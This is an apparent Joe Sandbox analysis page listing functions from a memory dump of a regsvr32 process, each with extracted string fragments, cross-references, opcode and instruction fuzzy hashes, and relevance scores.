Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 0-1867057952
Opcode ID: ea889a4d0a0d63da2a4932dba4f80fda51d0f679e8992708aed7b5cf259d3687
Instruction ID: 816e6155049e65d920809caa47ac9e1d3897b88b3389a19d13bb62d5438e95d4
Opcode Fuzzy Hash: ea889a4d0a0d63da2a4932dba4f80fda51d0f679e8992708aed7b5cf259d3687
Instruction Fuzzy Hash: E2810D36A18B4586DB94CF59E49072EB7A0F3C4794F610526EACD87BA8DBBED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022358 Relevance: 5.2, Strings: 4, Instructions: 163COMMON

Download Yara Rule

Strings

U!t, xrefs: 00000001800223EB
), xrefs: 0000000180022501
o}, xrefs: 000000018002255D
q, xrefs: 000000018002251A

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U!t$)$o}$q
API String ID: 0-3686089749
Opcode ID: bf0474be6c6ce2e48f6d2d7926dbfb2caa288b201239c410f95da0c70b98d83b
Instruction ID: 504cee08a43b26f7e4edd141fcc1dad3608ee18550f5ec8ccdea89eebec808be
Opcode Fuzzy Hash: bf0474be6c6ce2e48f6d2d7926dbfb2caa288b201239c410f95da0c70b98d83b
Instruction Fuzzy Hash: 74918CB190030E8FCB48CF68D58A5DE7FB1FB68398F204219F85696254D77496A5CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003050 Relevance: 5.2, Strings: 4, Instructions: 159COMMON

Download Yara Rule

Strings

4<, xrefs: 000000018000309F
4<, xrefs: 000000018000307A
J;}, xrefs: 00000001800031CF
Hhr, xrefs: 00000001800030B1

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 4<$4<$Hhr$J;}
API String ID: 0-2050331814
Opcode ID: c5a04ea52945682b476d42612895679d50d29c6124b176cb0c2b711214be2d9b
Instruction ID: 3d3ba58424421bda00612f90d71964148b60402fac749f980543760ede98840e
Opcode Fuzzy Hash: c5a04ea52945682b476d42612895679d50d29c6124b176cb0c2b711214be2d9b
Instruction Fuzzy Hash: 7461F4B0615648DFDF58DF68C08A69A7BA1FB48354F00C12EFC1ADB294DB70DA58CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000EBAC Relevance: 5.2, Strings: 4, Instructions: 153COMMON

Download Yara Rule

Strings

;, xrefs: 000000018000EC21
eQ%, xrefs: 000000018000EDF2
;, xrefs: 000000018000EBEC
_, xrefs: 000000018000EEE2

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ;$;$eQ%$_
API String ID: 0-1753937898
Opcode ID: afea0fbc1d0f044595d14710a3cdc41d7bc72a212051bdcef0ffdf3ac8c4ab3c
Instruction ID: 3574068fecf093fcbc9a635d24f3027655c33c427b378eb3a0ef079df85d540d
Opcode Fuzzy Hash: afea0fbc1d0f044595d14710a3cdc41d7bc72a212051bdcef0ffdf3ac8c4ab3c
Instruction Fuzzy Hash: 868137705003CCABDBFACF28CC997D93BA0FB49354F50822AE94A8E250DF745B499B40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F048 Relevance: 5.1, Strings: 4, Instructions: 132COMMON

Download Yara Rule

Strings

<;?:, xrefs: 000000018000F261
{(, xrefs: 000000018000F087
{(, xrefs: 000000018000F09F
:U, xrefs: 000000018000F1C1

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :U$<;?:${(${(
API String ID: 0-1086306767
Opcode ID: adfd1542a6b862dcbbf80cb55e1091ef2c2665d1724c34312d1a81eba162a757
Instruction ID: ff3a3435717f4ead1b58fb824901535bd9cf299cdf9a7bd1c813f3606ded2d6e
Opcode Fuzzy Hash: adfd1542a6b862dcbbf80cb55e1091ef2c2665d1724c34312d1a81eba162a757
Instruction Fuzzy Hash: 0861E0705187848BD768CF28C18965FBBF0FB8A748F10891EF68686260D7B6D948CB03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015DF4 Relevance: 5.1, Strings: 4, Instructions: 110COMMON

Download Yara Rule

Strings

|N., xrefs: 0000000180015F5D
h<, xrefs: 0000000180015E04
Oh, xrefs: 0000000180015F56
t010, xrefs: 0000000180015ED3

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Oh$h<$t010$|N.
API String ID: 0-2324740333
Opcode ID: 35c0cfe6136cac06300efd424f395a2521218bc7fc47dd603edd05c4400a0958
Instruction ID: 16379aaf1bb4413e0c13418f9d8c18c2bc98b7e827952bd0a9b5f9990c6c03cf
Opcode Fuzzy Hash: 35c0cfe6136cac06300efd424f395a2521218bc7fc47dd603edd05c4400a0958
Instruction Fuzzy Hash: E051B1B090034A8BCF48DF68D48A4DE7FB1FB58398F60461DE85AAA250D37496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002191C Relevance: 4.1, Strings: 3, Instructions: 336COMMON

Download Yara Rule

Strings

dF, xrefs: 0000000180021B0D
V{mu, xrefs: 0000000180021ED2
GW, xrefs: 0000000180021B05

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GW$V{mu$dF
API String ID: 0-3399639152
Opcode ID: 13f3ce258387fdab81722341723304c211862b24c4b90673b1ab6d5c48b56b4d
Instruction ID: 5d4924119bb90987b6c65e27c55bf51887eeb75551c0c0a5c8140b5b1edb0396
Opcode Fuzzy Hash: 13f3ce258387fdab81722341723304c211862b24c4b90673b1ab6d5c48b56b4d
Instruction Fuzzy Hash: B8F13F71508B888FD7B9CF28D48969EBBF0FB84744F20461EE5A59B270DBB49645CF02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002AC4C Relevance: 4.1, Strings: 3, Instructions: 330COMMON

Download Yara Rule

Strings

n S$, xrefs: 000000018002AD26
]w(, xrefs: 000000018002AFB8
K:, xrefs: 000000018002B007

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: K:$]w($n S$
API String ID: 0-3322466707
Opcode ID: c1684008171d4e306236772ac743a7b0f928483c20fc59153bd471c66e400ccf
Instruction ID: e698a885d6bb162bf0ff3cac371d937558b4210aa05752a6266eb715b4493fc4
Opcode Fuzzy Hash: c1684008171d4e306236772ac743a7b0f928483c20fc59153bd471c66e400ccf
Instruction Fuzzy Hash: 94F11570D047588BDBA8DFA8C88A6DDBBF0FB48304F60821DD85AAB251DB749949DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013B94 Relevance: 4.1, Strings: 3, Instructions: 322COMMON

Download Yara Rule

Strings

o%, xrefs: 0000000180013EB8
$L+, xrefs: 0000000180013E76
S'$, xrefs: 0000000180013DF8

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $L+$S'$$o%
API String ID: 0-4100028055
Opcode ID: 9fd258a3895b4d268f32f05a4a2d93e51bad250bed430a342084c072b36ef08c
Instruction ID: 179b9f87c3a4f9e214743648708db8209e3d71a45a824f016a1577c5ed2144a1
Opcode Fuzzy Hash: 9fd258a3895b4d268f32f05a4a2d93e51bad250bed430a342084c072b36ef08c
Instruction Fuzzy Hash: 34F1DFB1504609DFCB98DF28C0896DE7BE0FB58358F41812AFC4A9B264D770DA68DB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001D510 Relevance: 4.1, Strings: 3, Instructions: 317COMMON

Download Yara Rule

Strings

r>, xrefs: 000000018001D8BF
D"C!, xrefs: 000000018001D961
7, xrefs: 000000018001D692

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D"C!$r>$7
API String ID: 0-4181936694
Opcode ID: 541cc3c13b8465e2a0518f703328e58551f25428cc9c4eed4f201bddabca6e18
Instruction ID: 0283378d108cf163dc6514248e6e0b5631fea62f1129ef615c9b8fd25e2e86b8
Opcode Fuzzy Hash: 541cc3c13b8465e2a0518f703328e58551f25428cc9c4eed4f201bddabca6e18
Instruction Fuzzy Hash: 1BE1EF70510B4CEBDBD9DF28D8CAADD3BA0FB48394FA06219FD0686250D775D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017C8C Relevance: 4.0, Strings: 3, Instructions: 298COMMON

Download Yara Rule

Strings

K_j, xrefs: 0000000180017EF3
is[, xrefs: 0000000180017E36
47T], xrefs: 0000000180018050

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 47T]$K_j$is[
API String ID: 0-2699472077
Opcode ID: f40290fddc4da9899e50fb62f60591b1b1e6ff44cb1495cdff8c692982a81ea2
Instruction ID: 6016c1221021197edd7f817fb9cbd09fcb5ac8bbf6c5f54f5697c1ffe249b4d0
Opcode Fuzzy Hash: f40290fddc4da9899e50fb62f60591b1b1e6ff44cb1495cdff8c692982a81ea2
Instruction Fuzzy Hash: 2CD127719047CD8FCF99CFA8C88A6EE7BB1FB48344F50821DE80697651C7B4990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180005E7C Relevance: 4.0, Strings: 3, Instructions: 288COMMON

Download Yara Rule

Strings

B+=, xrefs: 000000018000609E
Mt, xrefs: 0000000180006415
[4, xrefs: 00000001800063B2

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: B+=$Mt$[4
API String ID: 0-935141491
Opcode ID: a60433d87628b4dd05d8c24f82dcc33c98af1bb7bb81019966b8dd8b9453b802
Instruction ID: bf1f234f614a92c8f0daef92778263c373ce788cc2d228a45e1a9745d38385ec
Opcode Fuzzy Hash: a60433d87628b4dd05d8c24f82dcc33c98af1bb7bb81019966b8dd8b9453b802
Instruction Fuzzy Hash: 36F1D470505B888FDBB9DF24CC897EB7BA0FB94316F10551EE84A9A290DFB49648CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F678 Relevance: 4.0, Strings: 3, Instructions: 271COMMON

Download Yara Rule

Strings

b3, xrefs: 000000018000FAAF
$c7, xrefs: 000000018000F8D9
@%?5, xrefs: 000000018000FA7A

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $c7$@%?5$b3
API String ID: 0-1970763919
Opcode ID: 9dd9411ae2ae8fe50429bce004b52f82e822d73dcaf286881c61fffa8cd320f1
Instruction ID: 7544b270a4a1d87a4c453583f66bfc56a0d33d7204b7a287ddb0882fb61d0d22
Opcode Fuzzy Hash: 9dd9411ae2ae8fe50429bce004b52f82e822d73dcaf286881c61fffa8cd320f1
Instruction Fuzzy Hash: 48E158B5902748CFCB88DF68C69A59D7BF1FF59308F404029FC1A9A264D7B4D928CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011904 Relevance: 4.0, Strings: 3, Instructions: 235COMMON

Download Yara Rule

Strings

#^, xrefs: 0000000180011B00
`], xrefs: 0000000180011C79
%, xrefs: 0000000180011B2C

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #^$`]$%
API String ID: 0-102912427
Opcode ID: ca2120b3b73aeab9747ebd3a80ee073ee8f7bbd66699a0431753568d5f85675a
Instruction ID: 878e7741f870b7fe1bc6c0f4a33361fdae8fd10665ac772b8c524eb0937c225a
Opcode Fuzzy Hash: ca2120b3b73aeab9747ebd3a80ee073ee8f7bbd66699a0431753568d5f85675a
Instruction Fuzzy Hash: FDB1277090474D8FCF48CF68C88A6DE7BF0FB48398F165219E85AA6250D778D549CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014AA4 Relevance: 4.0, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

kU, xrefs: 0000000180014D4C
JK8[, xrefs: 0000000180014D3E
EQp, xrefs: 0000000180014B22

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: EQp$JK8[$kU
API String ID: 0-1401246002
Opcode ID: f6e783ca98e508b57d8889390bb84d83c8a7c59b34dd19a79ab41ed993f4136f
Instruction ID: 75ff6837d11cf9dd0609e11c9b8f3cf17f900585419d92be27056132c399e7dd
Opcode Fuzzy Hash: f6e783ca98e508b57d8889390bb84d83c8a7c59b34dd19a79ab41ed993f4136f
Instruction Fuzzy Hash: 2EB1587190474DCBCF88CF68C48A6DE7BF0FB58358F165219E94AA6260C778D584CF89

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800171B8 Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

/@=`, xrefs: 00000001800173C1
zJ, xrefs: 00000001800172A5
h, xrefs: 00000001800173F7

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /@=`$h$zJ
API String ID: 0-1145068787
Opcode ID: 058fb21ebd37bd9eb3c247c823e69362e4f90846d4c9b1e02e85b924af49b442
Instruction ID: efaff62c6dea5b666cd0ec5e1287633bd35f75f1b854ced8b25ae11fb6165d3c
Opcode Fuzzy Hash: 058fb21ebd37bd9eb3c247c823e69362e4f90846d4c9b1e02e85b924af49b442
Instruction Fuzzy Hash: 74A12F70608B4C8BEB9ADF18C4857DD7BF1FB49384F508559F84A86292CB34DA49CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029710 Relevance: 4.0, Strings: 3, Instructions: 232COMMON

Download Yara Rule

Strings

>6, xrefs: 0000000180029ADE
$g, xrefs: 00000001800299E4
nB, xrefs: 00000001800299EC

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $g$>6$nB
API String ID: 0-1868063892
Opcode ID: ff2a3d7c641745ffb25121b662fa46cfa0900d035ad6a59b85364cfb369e7909
Instruction ID: 5ef365e91c1d80a07604eb41db5a1b86f6ebf61e3d7968a3749ade557fb4125b
Opcode Fuzzy Hash: ff2a3d7c641745ffb25121b662fa46cfa0900d035ad6a59b85364cfb369e7909
Instruction Fuzzy Hash: 7CB121705193849FC7A9CF68C58569EBBF0FB88744F906A1DF8868B260D7B4DA44CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012BB8 Relevance: 4.0, Strings: 3, Instructions: 229COMMON

Download Yara Rule

Strings

Vj+&, xrefs: 0000000180012CFD
#\9, xrefs: 0000000180012C23
M, xrefs: 0000000180012E31

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #\9$Vj+&$M
API String ID: 0-3658199817
Opcode ID: b54fe4db0c482ebc48653361818c1ec5b550a7c5ec628dbf807c67c5d3739686
Instruction ID: 26c1b974044aa0bae0d49f3ac843ec2fe1acc35572613d15cd803358aab69238
Opcode Fuzzy Hash: b54fe4db0c482ebc48653361818c1ec5b550a7c5ec628dbf807c67c5d3739686
Instruction Fuzzy Hash: FEA144709147098FCB48CFA8D88A5DEBBF0FB48318F11421DE89AB7250D778A945CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180027E14 Relevance: 4.0, Strings: 3, Instructions: 224COMMON

Download Yara Rule

Strings

#X, xrefs: 0000000180028091
d,U, xrefs: 0000000180027F45
d3, xrefs: 000000018002800F

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$d,U$d3
API String ID: 0-3246363944
Opcode ID: b19347f6a86a0bef7f71d8365dac67f13c927bf2e0e4be2ddf998f75a428a595
Instruction ID: e67d37b33042bdc2b75ebe9cceb0670a2214c716ea8b8408a91d9fe0cb16ea97
Opcode Fuzzy Hash: b19347f6a86a0bef7f71d8365dac67f13c927bf2e0e4be2ddf998f75a428a595
Instruction Fuzzy Hash: 84C1F9715093C8CBDBBEDF64C885BDA3BA9FB44708F10521DEA0A9E258CB745749CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001447C Relevance: 3.9, Strings: 3, Instructions: 188COMMON

Download Yara Rule

Strings

Y)~, xrefs: 00000001800146C6
X9T[, xrefs: 000000018001462F
Zo, xrefs: 00000001800146A2

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: X9T[$Y)~$Zo
API String ID: 0-3816472334
Opcode ID: 4d45b44019f37ffc6e1bc3352b37dca48114cbe71f71f11aaeec7abd6044a81e
Instruction ID: 74daf22561f986eaee31dd2e877d7e0390ad28e8a973cc345c4d359d4462c4de
Opcode Fuzzy Hash: 4d45b44019f37ffc6e1bc3352b37dca48114cbe71f71f11aaeec7abd6044a81e
Instruction Fuzzy Hash: A8A17CB5A02749CBCF48DF68C29A59D7BF1BF49304F408129FC1A9A360E3B5E525CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800141C8 Relevance: 3.9, Strings: 3, Instructions: 138COMMON

Download Yara Rule

Strings

HR, xrefs: 0000000180014219
K), xrefs: 0000000180014298
HR, xrefs: 0000000180014236

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: HR$HR$K)
API String ID: 0-1226256413
Opcode ID: fe1a1f4cc53af174484b1611b8e08b9bf30ae67f3885f7bd771c709debbd063f
Instruction ID: e79f82d9c1651787cdde5b7f69db4956d02e0856481d2681396fdc662c453c95
Opcode Fuzzy Hash: fe1a1f4cc53af174484b1611b8e08b9bf30ae67f3885f7bd771c709debbd063f
Instruction Fuzzy Hash: 7B511971A08B0D8FDB58DFE8C4856EEBBF1FB48354F004119E81AB72A4C7749A09CB95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002CCE0 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

]u, xrefs: 000000018002CE88
", xrefs: 000000018002CDCA
:;, xrefs: 000000018002CD37

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]u$"$:;
API String ID: 0-2021956800
Opcode ID: e5b729e8d3ca91e6ffaa64c5216b9ad0038ed08cda9d2019842c7aa3bd36f9ee
Instruction ID: 26b28f3a503e825e1842dbf9688ebde44fe9506c1339f803b7779101942ae612
Opcode Fuzzy Hash: e5b729e8d3ca91e6ffaa64c5216b9ad0038ed08cda9d2019842c7aa3bd36f9ee
Instruction Fuzzy Hash: A4619CB490438E8FCB48DF68C88A5CE7BB0FB48758F104A19EC26A7250D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017710 Relevance: 3.8, Strings: 3, Instructions: 94COMMON

Download Yara Rule

Strings

MX-, xrefs: 000000018001774E
:/, xrefs: 00000001800177D0
p/{, xrefs: 00000001800177F9

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :/$MX-$p/{
API String ID: 0-4131788469
Opcode ID: dafbc4e7fc6d693899884ed9ed99f384ad96a46aea59d1081574b489c0c87a57
Instruction ID: 300bb33d5e72857c277ccbf4b656446e283825a036a8781aa3fd7c6b43312ff2
Opcode Fuzzy Hash: dafbc4e7fc6d693899884ed9ed99f384ad96a46aea59d1081574b489c0c87a57
Instruction Fuzzy Hash: A451CFB181034E8FCB48CF68C49A9DEBFB0FB58358F104619E816A6260D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014930 Relevance: 3.8, Strings: 3, Instructions: 80COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018001497C
^', xrefs: 00000001800149CB
r]I, xrefs: 00000001800149AB

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$^'$r]I
API String ID: 0-2222137400
Opcode ID: 6c7560d6808315bae7f49c2fb11faa3634dddad0bf829aa3411576f4b5dc867d
Instruction ID: 3b6e37f17289f863f41b4cc43218ba669218828eb13bdfb79aac3f5d198efd30
Opcode Fuzzy Hash: 6c7560d6808315bae7f49c2fb11faa3634dddad0bf829aa3411576f4b5dc867d
Instruction Fuzzy Hash: 363117B15087C48BD75DDFA8C49A21EFBE1BB84344F508A1DF5828A760D7F4D548CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800154B8 Relevance: 3.8, Strings: 3, Instructions: 64COMMON

Download Yara Rule

Strings

T3$, xrefs: 0000000180015569
w4, xrefs: 0000000180015548
@, xrefs: 00000001800154BC

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @$T3$$w4
API String ID: 0-2021144935
Opcode ID: bc7dc22fb94c9f236bd87286f30cded165edce72f2f8fa2203197d10143a9bcc
Instruction ID: b7ecb3d52509d16e0b7106ebb5b87557e4c245f613a26780fe6ea3dbe1bda8ab
Opcode Fuzzy Hash: bc7dc22fb94c9f236bd87286f30cded165edce72f2f8fa2203197d10143a9bcc
Instruction Fuzzy Hash: 2C31B1B452C781AFC788DF28C49981EBBE1FB88314F806A1CF8C68B354D7799815CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001890C Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

fuQ, xrefs: 0000000180018D3F
z2[, xrefs: 0000000180018A73

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fuQ$z2[
API String ID: 0-2289383304
Opcode ID: 441494ec0c86c783de8318a42c6139c52bb1bde3da6283a2c639beb8e2f65b2f
Instruction ID: 6dbb2b06e415c8f3afbcfc152abca8622b4e8fcbe683a1ba83f0e2cb341d8d2f
Opcode Fuzzy Hash: 441494ec0c86c783de8318a42c6139c52bb1bde3da6283a2c639beb8e2f65b2f
Instruction Fuzzy Hash: 3EE11E7150670CCBDB68CF38C58A69D7BE1FF54348F205129EC1A9B262D770E929CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020A34 Relevance: 2.8, Strings: 2, Instructions: 279COMMON

Download Yara Rule

Strings

kR[, xrefs: 0000000180020B0B
:C, xrefs: 0000000180020BBF

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :C$kR[
API String ID: 0-2209222604
Opcode ID: 11a29c0ca78bb61b91ac56aed3bc2f39647a1b65c88feb917197daf0b3f95e80
Instruction ID: 7c9a6a6b3faeb9776e3b10aef600c10835f2b607fd00d40f7bdfdfd53dfcb9a1
Opcode Fuzzy Hash: 11a29c0ca78bb61b91ac56aed3bc2f39647a1b65c88feb917197daf0b3f95e80
Instruction Fuzzy Hash: 90D13870A4470C8FDB99DFA8D04A7DDBBF2FB48344F108119E80AAF295C7B49949CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800227E0 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

b*I , xrefs: 00000001800229BE
U/a, xrefs: 0000000180022A24

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U/a$b*I
API String ID: 0-148379327
Opcode ID: 5fd17e9242f9f83aee3c84d8a49cb22fc0f07f7b85d6bf0c23bfb3783ccf2aec
Instruction ID: 7d254379c67d49f8dc4f025a9255c0c47b4989c88be3dfa38f92a25c6632ea03
Opcode Fuzzy Hash: 5fd17e9242f9f83aee3c84d8a49cb22fc0f07f7b85d6bf0c23bfb3783ccf2aec
Instruction Fuzzy Hash: 28D10B7150024E8BCB59CF68C88A6DE3FB0FB18398F155219FC5AA7250D7B8D698CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022E38 Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

aijA, xrefs: 00000001800231C1
Jl, xrefs: 000000018002319C

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Jl$aijA
API String ID: 0-1592139677
